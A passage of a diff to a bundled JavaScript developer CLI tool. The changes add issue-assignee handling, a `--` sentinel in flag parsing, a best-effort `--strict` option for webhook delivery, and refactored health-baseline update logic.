if (/HTTP 410/.test(detail)) throw new FatalError(`GitHub returned 410 Gone for "gh ${args.join(" ")}": ${detail}. Issues are likely disabled on this repository; retrying will not help.`);
|
|
14096
14396
|
throw new TransientError(`gh ${args.join(" ")} failed: ${detail}`);
|
|
14097
14397
|
}
|
|
@@ -14145,7 +14445,8 @@ function githubApi(executor, cwd, repository, signal = null) {
|
|
|
14145
14445
|
input: JSON.stringify({
|
|
14146
14446
|
title: input.title,
|
|
14147
14447
|
body: input.body,
|
|
14148
|
-
labels: input.labels
|
|
14448
|
+
labels: input.labels,
|
|
14449
|
+
...input.assignees !== void 0 && input.assignees.length > 0 ? { assignees: input.assignees } : {}
|
|
14149
14450
|
}),
|
|
14150
14451
|
signal
|
|
14151
14452
|
}));
|
|
@@ -14790,6 +15091,9 @@ function formatFlagCheckMessage(result) {
|
|
|
14790
15091
|
* Deliberately does not comma-split a value the way `parseListFlag`
|
|
14791
15092
|
* (`commands/repo-run-checks.ts`) does: comma-splitting is right for that flag's contract
|
|
14792
15093
|
* and wrong here, where a value can be a file path containing a comma.
|
|
15094
|
+
*
|
|
15095
|
+
* Stops at a `--` sentinel, the same one {@link hasNegationFlag} stops at: a token after it is a
|
|
15096
|
+
* positional, never a flag citty would read.
|
|
14793
15097
|
*/
|
|
14794
15098
|
function collectFlagValues(rawArgs, flag) {
|
|
14795
15099
|
const flagEq = `${flag}=`;
|
|
@@ -14797,6 +15101,7 @@ function collectFlagValues(rawArgs, flag) {
|
|
|
14797
15101
|
for (let i = 0; i < rawArgs.length; i += 1) {
|
|
14798
15102
|
const arg = rawArgs[i];
|
|
14799
15103
|
if (arg === void 0) continue;
|
|
15104
|
+
if (arg === "--") break;
|
|
14800
15105
|
if (arg === flag) {
|
|
14801
15106
|
const next = rawArgs[i + 1];
|
|
14802
15107
|
if (next !== void 0) {
|
|
@@ -14807,6 +15112,19 @@ function collectFlagValues(rawArgs, flag) {
|
|
|
14807
15112
|
}
|
|
14808
15113
|
return values.map((v) => v.trim()).filter((v) => v !== "");
|
|
14809
15114
|
}
|
|
15115
|
+
/**
|
|
15116
|
+
* Whether a bare boolean flag (e.g. `--no-assignee`) appears in a command's raw CLI args, the
|
|
15117
|
+
* same `--` sentinel `parsePostCommandArgs` and {@link collectFlagValues} stop at rather than a
|
|
15118
|
+
* bare `rawArgs.includes(flag)`: the literal token can otherwise match where citty would never
|
|
15119
|
+
* read it as a flag -- after a `--` sentinel.
|
|
15120
|
+
*/
|
|
15121
|
+
function hasNegationFlag(rawArgs, flag) {
|
|
15122
|
+
for (const arg of rawArgs) {
|
|
15123
|
+
if (arg === "--") break;
|
|
15124
|
+
if (arg === flag) return true;
|
|
15125
|
+
}
|
|
15126
|
+
return false;
|
|
15127
|
+
}
|
|
14810
15128
|
/** `<n>[s|m|h]`, a bare integer meaning seconds. */
|
|
14811
15129
|
const DURATION_PATTERN = /^(\d+)(s|m|h)?$/;
|
|
14812
15130
|
const UNIT_MS = {
|
|
@@ -14892,15 +15210,17 @@ function isSettled(checks) {
|
|
|
14892
15210
|
}
|
|
14893
15211
|
/**
|
|
14894
15212
|
* Whether the per-entry classification disagrees with the forge's own combined reduction --
|
|
14895
|
-
* either direction: every entry reads `good` but the combined state is not
|
|
14896
|
-
* combined state is `success` while some entry
|
|
14897
|
-
*
|
|
14898
|
-
*
|
|
15213
|
+
* either direction: every entry reads `good` or `skipped` but the combined state is not
|
|
15214
|
+
* `success`, or the combined state is `success` while some entry reads neither. A skipped entry
|
|
15215
|
+
* is not a divergence -- it is a job that did not run, which carries no information about the
|
|
15216
|
+
* code -- so it is folded into "settled good" here the same way it is everywhere else. The
|
|
15217
|
+
* combined state always wins the verdict (`classifyStatus` never looks at this); a caller only
|
|
15218
|
+
* needs to know whether to surface a notice about a genuine one.
|
|
14899
15219
|
*/
|
|
14900
15220
|
function disagreesWithCombinedState(checks) {
|
|
14901
15221
|
if (!checks.parsed || checks.contexts.length === 0) return false;
|
|
14902
|
-
const
|
|
14903
|
-
return checks.green !==
|
|
15222
|
+
const allSettledGood = checks.contexts.every((check) => check.verdict === "good" || check.verdict === "skipped");
|
|
15223
|
+
return checks.green !== allSettledGood;
|
|
14904
15224
|
}
|
|
14905
15225
|
/**
|
|
14906
15226
|
* Read the base branch's current head checks and report which normalized names read red there --
|
|
@@ -15014,7 +15334,7 @@ function resolvePollTimings(options) {
|
|
|
15014
15334
|
const requestedIntervalMs = options.interval !== void 0 ? parseDuration(options.interval, "--interval") : DEFAULT_INTERVAL_MS;
|
|
15015
15335
|
return {
|
|
15016
15336
|
timeoutMs,
|
|
15017
|
-
intervalMs: Math.max(requestedIntervalMs, MIN_INTERVAL_MS)
|
|
15337
|
+
intervalMs: envMsOverride(process.env["BST_TEST_PR_CHECKS_INTERVAL_MS"], Math.max(requestedIntervalMs, MIN_INTERVAL_MS))
|
|
15018
15338
|
};
|
|
15019
15339
|
}
|
|
15020
15340
|
/** One poll's commit-status read, reduced to a {@link PollRead} the retry budget can count. */
|
|
@@ -17984,7 +18304,7 @@ async function runListWebhooks(executor, conn) {
|
|
|
17984
18304
|
totalCount: groups.reduce((sum, g) => sum + g.hooks.length, 0)
|
|
17985
18305
|
};
|
|
17986
18306
|
}
|
|
17987
|
-
function renderText(inventory, serverUrl) {
|
|
18307
|
+
function renderText$1(inventory, serverUrl) {
|
|
17988
18308
|
log$1.info(`Forgejo Webhook Inventory -- ${serverUrl}`);
|
|
17989
18309
|
log$1.info(`Token user: ${inventory.user}${inventory.isAdmin ? " (admin)" : ""}`);
|
|
17990
18310
|
if (inventory.groups.length === 0) {
|
|
@@ -18017,7 +18337,7 @@ const forgejoWebhooksCommand = defineCommand({
|
|
|
18017
18337
|
createCliOutput(true).json(inventory);
|
|
18018
18338
|
return;
|
|
18019
18339
|
}
|
|
18020
|
-
renderText(inventory, conn.serverUrl);
|
|
18340
|
+
renderText$1(inventory, conn.serverUrl);
|
|
18021
18341
|
}
|
|
18022
18342
|
});
|
|
18023
18343
|
//#endregion
|
|
@@ -18199,7 +18519,7 @@ function isPriorityLabelSpec(spec) {
|
|
|
18199
18519
|
return spec.name.startsWith(PRIORITY_LABEL_PREFIX);
|
|
18200
18520
|
}
|
|
18201
18521
|
/**
|
|
18202
|
-
* The alias names a target repo's `.tooling.json#agent.priority` declares -- the
|
|
18522
|
+
* The alias names a target repo's `.tooling.json#agent.priority` declares -- the signal that
|
|
18203
18523
|
* the repo owns a priority vocabulary the agent's four `priority/*` labels would never be
|
|
18204
18524
|
* applied to. The names themselves matter, not just their presence: an alias may legally live
|
|
18205
18525
|
* inside the `priority/` scope the agent set owns, and the stale computation must know it is the
|
|
@@ -18220,7 +18540,7 @@ async function declaredPriorityAliases(executor, conn) {
|
|
|
18220
18540
|
/** The one set `--prune` recognizes as declaring a universe -- the built-in vocabulary
|
|
18221
18541
|
* `runBstCli`'s agent caller contributes under this name (see `bin.ts`). Keyed on the *name* the
|
|
18222
18542
|
* caller asked for, not on the shape of its specs: a `.tooling.json#labelSets` entry can carry a
|
|
18223
|
-
* `priority/*` member of its own without opting into
|
|
18543
|
+
* `priority/*` member of its own without opting into that omission, and `--prune` must
|
|
18224
18544
|
* refuse that case the same as any other generic set. */
|
|
18225
18545
|
const BUILT_IN_UNIVERSE_SET_NAME = "agent";
|
|
18226
18546
|
/**
|
|
@@ -18343,7 +18663,7 @@ function renderSync(result) {
|
|
|
18343
18663
|
}
|
|
18344
18664
|
for (const failure of result.failures) log$1.warn(`${failure.repository}: failed: ${failure.error}`);
|
|
18345
18665
|
}
|
|
18346
|
-
/** Every repo the invoking token can write to, discovered live -- no configured repo list
|
|
18666
|
+
/** Every repo the invoking token can write to, discovered live -- no configured repo list.
|
|
18347
18667
|
* The server URL and token come from the current repo's connection; only the repository portion
|
|
18348
18668
|
* varies per target, the same convention `--repo` uses. */
|
|
18349
18669
|
async function resolveFleetTargets(executor, base) {
|
|
@@ -18581,10 +18901,14 @@ function maskSecret(secret) {
|
|
|
18581
18901
|
if (len <= 8) return `<${String(len)} chars>`;
|
|
18582
18902
|
return `${secret.slice(0, 3)}...${secret.slice(-3)} (${String(len)} chars)`;
|
|
18583
18903
|
}
|
|
18904
|
+
const rawLog = (msg) => console.log(msg);
|
|
18584
18905
|
/**
|
|
18585
18906
|
* Send a webhook and log the result. Intended for CLI usage.
|
|
18586
18907
|
* Returns the underlying result so the caller can decide whether to
|
|
18587
|
-
* surface a non-zero exit
|
|
18908
|
+
* surface a non-zero exit -- the default caller treats delivery as
|
|
18909
|
+
* best-effort, so under CI a failure also gets a `::error::` annotation:
|
|
18910
|
+
* the job's conclusion becomes a commit status, so the failure must stay
|
|
18911
|
+
* visible without failing the process. Never throws.
|
|
18588
18912
|
*/
|
|
18589
18913
|
async function sendWebhookWithLogging(url, secret, payload) {
|
|
18590
18914
|
const result = await sendWebhook({
|
|
@@ -18594,7 +18918,13 @@ async function sendWebhookWithLogging(url, secret, payload) {
|
|
|
18594
18918
|
});
|
|
18595
18919
|
const context = `url=${url}, secret=${maskSecret(secret)}`;
|
|
18596
18920
|
if (result.ok) log$1.info(`Post-release hook completed successfully (${context})`);
|
|
18597
|
-
else
|
|
18921
|
+
else {
|
|
18922
|
+
log$1.error(`Post-release hook failed: ${result.error ?? "unknown error"} (${context})`);
|
|
18923
|
+
if (process.env["CI"]) {
|
|
18924
|
+
const reason = (result.error ?? "unknown error").replaceAll(/[\r\n]+/gu, " ").slice(0, 300);
|
|
18925
|
+
rawLog(`::error::Post-release hook failed: ${reason}`);
|
|
18926
|
+
}
|
|
18927
|
+
}
|
|
18598
18928
|
return result;
|
|
18599
18929
|
}
|
|
18600
18930
|
//#endregion
|
|
@@ -18623,7 +18953,7 @@ const webhookSendCommand = defineCommand({
|
|
|
18623
18953
|
args: {
|
|
18624
18954
|
url: {
|
|
18625
18955
|
type: "positional",
|
|
18626
|
-
description: "Webhook URL to POST to. If empty or missing, the command exits successfully
|
|
18956
|
+
description: "Webhook URL to POST to. If empty or missing, or if delivery fails, the command is best-effort by default and exits successfully; see --strict."
|
|
18627
18957
|
},
|
|
18628
18958
|
tag: {
|
|
18629
18959
|
type: "string",
|
|
@@ -18644,6 +18974,10 @@ const webhookSendCommand = defineCommand({
|
|
|
18644
18974
|
prerelease: {
|
|
18645
18975
|
type: "boolean",
|
|
18646
18976
|
description: "Mark the release as a prerelease"
|
|
18977
|
+
},
|
|
18978
|
+
strict: {
|
|
18979
|
+
type: "boolean",
|
|
18980
|
+
description: "Exit non-zero when delivery fails. Default is best-effort: the failure is logged and annotated, and the command exits 0."
|
|
18647
18981
|
}
|
|
18648
18982
|
},
|
|
18649
18983
|
async run({ args }) {
|
|
@@ -18653,7 +18987,7 @@ const webhookSendCommand = defineCommand({
|
|
|
18653
18987
|
}
|
|
18654
18988
|
const secret = process.env["WEBHOOK_SECRET"];
|
|
18655
18989
|
const payload = resolveWebhookPayload(args);
|
|
18656
|
-
if (!(await sendWebhookWithLogging(args.url, secret || void 0, payload)).ok) process.exitCode = 1;
|
|
18990
|
+
if (!(await sendWebhookWithLogging(args.url, secret || void 0, payload)).ok && args.strict) process.exitCode = 1;
|
|
18657
18991
|
}
|
|
18658
18992
|
});
|
|
18659
18993
|
//#endregion
|
|
@@ -18984,7 +19318,7 @@ const MIGRATION_NOTICE = `${BASELINE_FILE$1} predates coverage.include scoping (
|
|
|
18984
19318
|
* Applies `--update-baseline` (and its `--reset` modifier) to an existing baseline
|
|
18985
19319
|
* comparison. Extracted from `run()` to keep it under the statement-count lint limit.
|
|
18986
19320
|
*/
|
|
18987
|
-
function applyBaselineUpdate(out, baselinePath, baseline, current, options) {
|
|
19321
|
+
function applyBaselineUpdate$1(out, baselinePath, baseline, current, options) {
|
|
18988
19322
|
const { reset, floorPp } = options;
|
|
18989
19323
|
if (reset) {
|
|
18990
19324
|
writeFileSync(baselinePath, serializeBaseline(current));
|
|
@@ -19077,7 +19411,7 @@ const coverageCheckCommand = defineCommand({
|
|
|
19077
19411
|
status: isLegacyBaseline ? "migration-notice" : "compared",
|
|
19078
19412
|
...result
|
|
19079
19413
|
});
|
|
19080
|
-
if (args["update-baseline"] === true) applyBaselineUpdate(out, baselinePath, baseline, current, {
|
|
19414
|
+
if (args["update-baseline"] === true) applyBaselineUpdate$1(out, baselinePath, baseline, current, {
|
|
19081
19415
|
reset: args.reset === true,
|
|
19082
19416
|
floorPp: config.floorPp
|
|
19083
19417
|
});
|
|
@@ -20188,6 +20522,63 @@ function formatSourceDiagnosis(sources, graphMetricsEnabled) {
|
|
|
20188
20522
|
//#endregion
|
|
20189
20523
|
//#region src/commands/health-check.ts
|
|
20190
20524
|
const BASELINE_FILE = "health-baseline.json";
|
|
20525
|
+
/**
|
|
20526
|
+
* `run`'s branch for a repo with no baseline yet: create one under `--update-baseline`, else
|
|
20527
|
+
* notice or fail per `--fail-on-missing-baseline`. Every path here returns or throws, so `run`
|
|
20528
|
+
* calls this and returns right after. Extracted to keep `run` under the lint's statement budget.
|
|
20529
|
+
*/
|
|
20530
|
+
function handleMissingBaseline(state, updateBaseline, failOnMissingBaseline) {
|
|
20531
|
+
const { baselinePath, config, details, current, ceilings, out } = state;
|
|
20532
|
+
if (updateBaseline === true) {
|
|
20533
|
+
if (config.graphMetricsEnabled && details.circularDependencies === void 0) {
|
|
20534
|
+
out.notice(`Skipped baseline creation: graph metrics are unavailable this run. Fix the cruise before creating ${BASELINE_FILE}.`);
|
|
20535
|
+
out.json({
|
|
20536
|
+
status: "graph-unavailable",
|
|
20537
|
+
metrics: current,
|
|
20538
|
+
sources: details.sources
|
|
20539
|
+
});
|
|
20540
|
+
process.exitCode = 1;
|
|
20541
|
+
return;
|
|
20542
|
+
}
|
|
20543
|
+
writeFileSync(baselinePath, serializeHealthBaseline(current, ceilings));
|
|
20544
|
+
out.notice(`Created ${BASELINE_FILE} (no prior baseline).`);
|
|
20545
|
+
out.json({
|
|
20546
|
+
status: "baseline-created",
|
|
20547
|
+
metrics: current,
|
|
20548
|
+
sources: details.sources
|
|
20549
|
+
});
|
|
20550
|
+
return;
|
|
20551
|
+
}
|
|
20552
|
+
const message = `${BASELINE_FILE} not found. Run with --update-baseline to create one from the current run.`;
|
|
20553
|
+
if (failOnMissingBaseline === false) {
|
|
20554
|
+
out.notice(message);
|
|
20555
|
+
out.json({
|
|
20556
|
+
status: "missing-baseline",
|
|
20557
|
+
metrics: current,
|
|
20558
|
+
sources: details.sources
|
|
20559
|
+
});
|
|
20560
|
+
return;
|
|
20561
|
+
}
|
|
20562
|
+
throw new FatalError(message);
|
|
20563
|
+
}
|
|
20564
|
+
/**
|
|
20565
|
+
* `run`'s four-way `--update-baseline` chain against an existing baseline: skip when graph
|
|
20566
|
+
* metrics are unavailable, reset unconditionally under `--reset`, update when flat-or-better,
|
|
20567
|
+
* else skip with a notice. Extracted to keep `run` under the lint's statement budget.
|
|
20568
|
+
*/
|
|
20569
|
+
function applyBaselineUpdate(state, baseline, reset) {
|
|
20570
|
+
const { baselinePath, config, details, current, ceilings, out } = state;
|
|
20571
|
+
if (config.graphMetricsEnabled && details.circularDependencies === void 0) {
|
|
20572
|
+
out.notice(`Skipped baseline update: graph metrics are unavailable this run. Fix the cruise before updating.`);
|
|
20573
|
+
process.exitCode = 1;
|
|
20574
|
+
} else if (reset === true) {
|
|
20575
|
+
writeFileSync(baselinePath, serializeHealthBaseline(current, ceilings));
|
|
20576
|
+
out.notice(`Reset ${BASELINE_FILE} to the current run.`);
|
|
20577
|
+
} else if (isFlatOrBetter(baseline, current, ceilings)) {
|
|
20578
|
+
writeFileSync(baselinePath, serializeHealthBaseline(current, ceilings));
|
|
20579
|
+
out.notice(`Updated ${BASELINE_FILE} (no regressions).`);
|
|
20580
|
+
} else out.notice(`Skipped baseline update: a metric or ceiling regressed. Fix the regression before updating.`);
|
|
20581
|
+
}
|
|
20191
20582
|
const healthCheckCommand = defineCommand({
|
|
20192
20583
|
meta: {
|
|
20193
20584
|
name: "health:check",
|
|
@@ -20205,7 +20596,7 @@ const healthCheckCommand = defineCommand({
|
|
|
20205
20596
|
},
|
|
20206
20597
|
reset: {
|
|
20207
20598
|
type: "boolean",
|
|
20208
|
-
description: "With --update-baseline, rewrite health-baseline.json unconditionally, even when a metric regressed. For adopting a baseline after a deliberate measurement change, such as health.crossPackage changing what the cruise resolves."
|
|
20599
|
+
description: "With --update-baseline, rewrite health-baseline.json unconditionally, even when a metric regressed. For adopting a baseline after a deliberate measurement change, such as health.crossPackage changing what the cruise resolves. Still refused when graph metrics are enabled and this run measured no graph."
|
|
20209
20600
|
},
|
|
20210
20601
|
"fail-on-missing-baseline": {
|
|
20211
20602
|
type: "boolean",
|
|
@@ -20240,38 +20631,17 @@ const healthCheckCommand = defineCommand({
|
|
|
20240
20631
|
if (emptyScope !== void 0 && args["fail-on-empty-src"] !== false) throw new FatalError(emptyScope);
|
|
20241
20632
|
if (emptyScope !== void 0) out.notice(emptyScope);
|
|
20242
20633
|
const baselinePath = path.join(targetDir, BASELINE_FILE);
|
|
20634
|
+
const state = {
|
|
20635
|
+
baselinePath,
|
|
20636
|
+
config,
|
|
20637
|
+
details,
|
|
20638
|
+
current,
|
|
20639
|
+
ceilings,
|
|
20640
|
+
out
|
|
20641
|
+
};
|
|
20243
20642
|
if (!existsSync(baselinePath)) {
|
|
20244
|
-
|
|
20245
|
-
|
|
20246
|
-
out.notice(`Skipped baseline creation: graph metrics are unavailable this run. Fix the cruise before creating ${BASELINE_FILE}.`);
|
|
20247
|
-
out.json({
|
|
20248
|
-
status: "graph-unavailable",
|
|
20249
|
-
metrics: current,
|
|
20250
|
-
sources: details.sources
|
|
20251
|
-
});
|
|
20252
|
-
process.exitCode = 1;
|
|
20253
|
-
return;
|
|
20254
|
-
}
|
|
20255
|
-
writeFileSync(baselinePath, serializeHealthBaseline(current, ceilings));
|
|
20256
|
-
out.notice(`Created ${BASELINE_FILE} (no prior baseline).`);
|
|
20257
|
-
out.json({
|
|
20258
|
-
status: "baseline-created",
|
|
20259
|
-
metrics: current,
|
|
20260
|
-
sources: details.sources
|
|
20261
|
-
});
|
|
20262
|
-
return;
|
|
20263
|
-
}
|
|
20264
|
-
const message = `${BASELINE_FILE} not found. Run with --update-baseline to create one from the current run.`;
|
|
20265
|
-
if (args["fail-on-missing-baseline"] === false) {
|
|
20266
|
-
out.notice(message);
|
|
20267
|
-
out.json({
|
|
20268
|
-
status: "missing-baseline",
|
|
20269
|
-
metrics: current,
|
|
20270
|
-
sources: details.sources
|
|
20271
|
-
});
|
|
20272
|
-
return;
|
|
20273
|
-
}
|
|
20274
|
-
throw new FatalError(message);
|
|
20643
|
+
handleMissingBaseline(state, args["update-baseline"], args["fail-on-missing-baseline"]);
|
|
20644
|
+
return;
|
|
20275
20645
|
}
|
|
20276
20646
|
const baseline = parseHealthBaseline(readFileSync(baselinePath, "utf-8"));
|
|
20277
20647
|
const result = compareMetrics(baseline, current, config.tolerance, ceilings);
|
|
@@ -20288,16 +20658,7 @@ const healthCheckCommand = defineCommand({
|
|
|
20288
20658
|
regressions,
|
|
20289
20659
|
sources: details.sources
|
|
20290
20660
|
});
|
|
20291
|
-
if (args["update-baseline"] === true)
|
|
20292
|
-
out.notice(`Skipped baseline update: graph metrics are unavailable this run. Fix the cruise before updating.`);
|
|
20293
|
-
process.exitCode = 1;
|
|
20294
|
-
} else if (args.reset === true) {
|
|
20295
|
-
writeFileSync(baselinePath, serializeHealthBaseline(current, ceilings));
|
|
20296
|
-
out.notice(`Reset ${BASELINE_FILE} to the current run.`);
|
|
20297
|
-
} else if (isFlatOrBetter(baseline, current, ceilings)) {
|
|
20298
|
-
writeFileSync(baselinePath, serializeHealthBaseline(current, ceilings));
|
|
20299
|
-
out.notice(`Updated ${BASELINE_FILE} (no regressions).`);
|
|
20300
|
-
} else out.notice(`Skipped baseline update: a metric or ceiling regressed. Fix the regression before updating.`);
|
|
20661
|
+
if (args["update-baseline"] === true) applyBaselineUpdate(state, baseline, args.reset);
|
|
20301
20662
|
if (!result.pass || graphUnavailable !== void 0) process.exitCode = 1;
|
|
20302
20663
|
}
|
|
20303
20664
|
});
|
|
@@ -22237,18 +22598,24 @@ const TERMINAL_STATUS = /\b(completed|shipped|superseded|abandoned|cancelled|can
|
|
|
22237
22598
|
const TERMINAL_STATUS_DATED = /\b(completed|shipped|superseded|abandoned|cancelled|canceled|rejected)\b[^\n]*?\d{4}-\d{2}-\d{2}/i;
|
|
22238
22599
|
/**
|
|
22239
22600
|
* The paragraph a retired doc owes its reader: where the truth lives now.
|
|
22240
|
-
*
|
|
22241
|
-
*
|
|
22242
|
-
*
|
|
22243
|
-
*
|
|
22244
|
-
*
|
|
22601
|
+
* Loose on punctuation -- the lead-in may be a colon OR a dash (`**Shipped --
|
|
22602
|
+
* the server foundation only.**`) -- but anchored to a line's own start (an
|
|
22603
|
+
* optional blockquote marker and leading whitespace tolerated), so it must be
|
|
22604
|
+
* its own paragraph rather than prose running inline off the `Status:` line
|
|
22605
|
+
* or buried mid-sentence elsewhere in the doc. An unrelated sentence that
|
|
22606
|
+
* merely contains "shipped -- " partway through -- or a retire lead-in typed
|
|
22607
|
+
* straight on from the status line, `**Status: completed 2026-06-21.**
|
|
22608
|
+
* Shipped: ...` -- does not satisfy this on its own; a doc written that way
|
|
22609
|
+
* needs the lead-in moved to its own line. The rule is that a retired doc
|
|
22610
|
+
* SAYS where the truth went, as its own paragraph; policing its punctuation
|
|
22611
|
+
* would only teach people to route around the check.
|
|
22245
22612
|
*
|
|
22246
22613
|
* The character class matches a literal colon, em dash, or en dash via `\uXXXX`
|
|
22247
22614
|
* escapes rather than the literal glyphs, so this ASCII-only source file can still
|
|
22248
22615
|
* recognize pre-existing Unicode dashes in a doc it scans (not just this repo's own
|
|
22249
22616
|
* ASCII prose, which this file does not otherwise author).
|
|
22250
22617
|
*/
|
|
22251
|
-
const RETIRE_PARAGRAPH =
|
|
22618
|
+
const RETIRE_PARAGRAPH = /^[ \t]*(?:> ?)?(?:\*\*)?\b(?:Shipped|Superseded|Abandoned|Rejected)\b\s*(?:[:\u2014\u2013]|--?\s)/im;
|
|
22252
22619
|
/**
|
|
22253
22620
|
* `Status:` must appear in the doc's header, not buried in a code sample. The blockquote
|
|
22254
22621
|
* branch requires `>` at column 0 -- the same tightening `IMPLEMENTS_LINE_RE` (`collect.ts`)
|
|
@@ -22547,7 +22914,7 @@ function checkDoc(input) {
|
|
|
22547
22914
|
}
|
|
22548
22915
|
//#endregion
|
|
22549
22916
|
//#region src/docs-check/collect.ts
|
|
22550
|
-
const MS_PER_DAY = 864e5;
|
|
22917
|
+
const MS_PER_DAY$1 = 864e5;
|
|
22551
22918
|
/** The two conventional directory basenames R6 keys off -- see collectSpecRetirementViolations. */
|
|
22552
22919
|
const SPEC_DIR_BASENAME = "specs";
|
|
22553
22920
|
const PLAN_DIR_BASENAME = "plans";
|
|
@@ -22557,7 +22924,7 @@ function ageDays(exec, file, now) {
|
|
|
22557
22924
|
if (iso === void 0) return void 0;
|
|
22558
22925
|
const then = new Date(iso).getTime();
|
|
22559
22926
|
if (Number.isNaN(then)) return void 0;
|
|
22560
|
-
return Math.floor((now.getTime() - then) / MS_PER_DAY);
|
|
22927
|
+
return Math.floor((now.getTime() - then) / MS_PER_DAY$1);
|
|
22561
22928
|
}
|
|
22562
22929
|
/**
|
|
22563
22930
|
* Staleness stays advisory unless explicitly opted in -- it is the only time-based rule.
|
|
@@ -23558,12 +23925,12 @@ function skipHistoricalBanner(content, boundary) {
|
|
|
23558
23925
|
* place a doc's "where did the truth go?" answer lives -- or `undefined` if
|
|
23559
23926
|
* none is there yet. Deliberately scoped, unlike `docs-check/rules.ts`'s use
|
|
23560
23927
|
* of `RETIRE_PARAGRAPH` over the whole body: that call is *detection* (does
|
|
23561
|
-
* this doc, however it was written, say where the truth went?), where
|
|
23562
|
-
*
|
|
23928
|
+
* this doc, however it was written, say where the truth went?), where testing
|
|
23929
|
+
* the whole body is correct. This call is an *insertion gate*, where a
|
|
23563
23930
|
* whole-body match has the opposite failure mode -- a doc whose prose merely
|
|
23564
|
-
*
|
|
23565
|
-
* reads as already having a paragraph and leaves the
|
|
23566
|
-
* caller supplied unwritten.
|
|
23931
|
+
* has a `RETIRE_PARAGRAPH`-shaped line elsewhere (a plan describing this very
|
|
23932
|
+
* mechanism, say) reads as already having a paragraph and leaves the
|
|
23933
|
+
* `--shipped` text the caller supplied unwritten.
|
|
23567
23934
|
*
|
|
23568
23935
|
* Checked at two anchors, nearest first, because a `Key:`-shaped line
|
|
23569
23936
|
* immediately under `Status:` can be either shape and only reading it tells
|
|
@@ -23820,6 +24187,7 @@ function renderIssue(view) {
|
|
|
23820
24187
|
const labels = view.labels.length > 0 ? ` labels: ${view.labels.join(", ")}` : "";
|
|
23821
24188
|
lines.push(`#${String(view.number)} ${view.title} [${view.state}]`);
|
|
23822
24189
|
lines.push(`${view.author} - ${view.createdAt}${labels}`);
|
|
24190
|
+
if (view.assignees.length > 0) lines.push(`assigned: ${view.assignees.join(", ")}`);
|
|
23823
24191
|
lines.push(view.url);
|
|
23824
24192
|
if (view.pr !== void 0) lines.push(formatPrLine(view.pr));
|
|
23825
24193
|
else if (view.prUnavailable !== void 0) lines.push(formatPrUnavailableLine(view.prUnavailable));
|
|
@@ -23986,11 +24354,25 @@ function renderIssueUpdate(result, dryRun) {
|
|
|
23986
24354
|
if (untouched.length > 0) lines.push(` ${untouched.join(" and ")} left as authored`);
|
|
23987
24355
|
return lines.join("\n");
|
|
23988
24356
|
}
|
|
24357
|
+
/** A requested assignee absent from the case-insensitive lowercased set of what the forge
|
|
24358
|
+
* actually returned. */
|
|
24359
|
+
function droppedAssignees(requested, returned) {
|
|
24360
|
+
const returnedLower = new Set(returned.map((name) => name.toLowerCase()));
|
|
24361
|
+
return requested.filter((name) => !returnedLower.has(name.toLowerCase()));
|
|
24362
|
+
}
|
|
23989
24363
|
/**
|
|
23990
24364
|
* Open a new issue. Unlike `runIssueComment`, there is no pre-existing issue
|
|
23991
24365
|
* number to build a URL from -- the issue doesn't exist until the POST
|
|
23992
24366
|
* succeeds -- so a dry run reports a placeholder `{ number: 0, url: "" }`
|
|
23993
24367
|
* rather than composing a guess.
|
|
24368
|
+
*
|
|
24369
|
+
* A non-empty `assignees` is verified against the created issue's own returned assignees
|
|
24370
|
+
* (case-insensitively -- both forges echo canonical casing, which need not match what was
|
|
24371
|
+
* typed). GitHub documents silently dropping an assignee the caller lacks push access to
|
|
24372
|
+
* grant; a name requested but absent from the response is not a partial success, so this
|
|
24373
|
+
* throws naming the dropped users **and** the issue's number and URL -- the issue was
|
|
24374
|
+
* created, and an error that hides that would send the caller into a duplicate-create loop.
|
|
24375
|
+
* See `docs/forge-issue-pr-linking.md` for the shape of bug a softer warning would repeat.
|
|
23994
24376
|
*/
|
|
23995
24377
|
async function runIssueCreate(executor, options) {
|
|
23996
24378
|
const title = options.title.trim();
|
|
@@ -23999,16 +24381,23 @@ async function runIssueCreate(executor, options) {
|
|
|
23999
24381
|
debug(options, `issue:create "${title}"`);
|
|
24000
24382
|
if (options.dryRun) return {
|
|
24001
24383
|
number: 0,
|
|
24002
|
-
url: ""
|
|
24384
|
+
url: "",
|
|
24385
|
+
assignees: options.assignees
|
|
24003
24386
|
};
|
|
24004
24387
|
const issue = await api.create({
|
|
24005
24388
|
title,
|
|
24006
24389
|
body: options.body,
|
|
24007
|
-
labels: options.labels
|
|
24390
|
+
labels: options.labels,
|
|
24391
|
+
...options.assignees.length > 0 ? { assignees: options.assignees } : {}
|
|
24008
24392
|
});
|
|
24393
|
+
if (options.assignees.length > 0) {
|
|
24394
|
+
const dropped = droppedAssignees(options.assignees, issue.assignees);
|
|
24395
|
+
if (dropped.length > 0) throw new FatalError(`Issue #${String(issue.number)} (${issue.url}) was created, but the forge did not assign ${dropped.join(", ")}. The issue exists -- do not retry the create.`);
|
|
24396
|
+
}
|
|
24009
24397
|
return {
|
|
24010
24398
|
number: issue.number,
|
|
24011
|
-
url: issue.url
|
|
24399
|
+
url: issue.url,
|
|
24400
|
+
assignees: options.assignees
|
|
24012
24401
|
};
|
|
24013
24402
|
}
|
|
24014
24403
|
function renderIssueList(issues) {
|
|
@@ -24172,6 +24561,33 @@ const issueCommentCommand = defineCommand({
|
|
|
24172
24561
|
function collectLabelArgs(rawArgs) {
|
|
24173
24562
|
return collectFlagValues(rawArgs, "--label");
|
|
24174
24563
|
}
|
|
24564
|
+
/** Collect every `--assignee` value from a command's raw CLI args. See `collectFlagValues`. */
|
|
24565
|
+
function collectAssigneeArgs(rawArgs) {
|
|
24566
|
+
return collectFlagValues(rawArgs, "--assignee");
|
|
24567
|
+
}
|
|
24568
|
+
/**
|
|
24569
|
+
* The `--assignee` / `--no-assignee` / `.tooling.json#issues.assignees` precedence rule, kept
|
|
24570
|
+
* self-contained so it is directly testable against a temp directory holding a `.tooling.json`
|
|
24571
|
+
* -- no `process.chdir`, no forge.
|
|
24572
|
+
*
|
|
24573
|
+
* 1. `--assignee` and `--no-assignee` together is a contradiction for the user to resolve, not
|
|
24574
|
+
* for the tool to rank.
|
|
24575
|
+
* 2. `--no-assignee` opens the issue unassigned.
|
|
24576
|
+
* 3. One or more `--assignee` replaces any config default -- never unions with it.
|
|
24577
|
+
* 4. With neither flag and no `--repo`, the repo-level config default applies.
|
|
24578
|
+
* 5. With neither flag but an explicit `--repo`, the default does not apply: the key describes
|
|
24579
|
+
* the repo its own config lives in, and an invocation naming another repository must not
|
|
24580
|
+
* drag this repo's reviewer onto that repo's issue.
|
|
24581
|
+
*/
|
|
24582
|
+
function resolveIssueAssignees(rawArgs, repo, cwd) {
|
|
24583
|
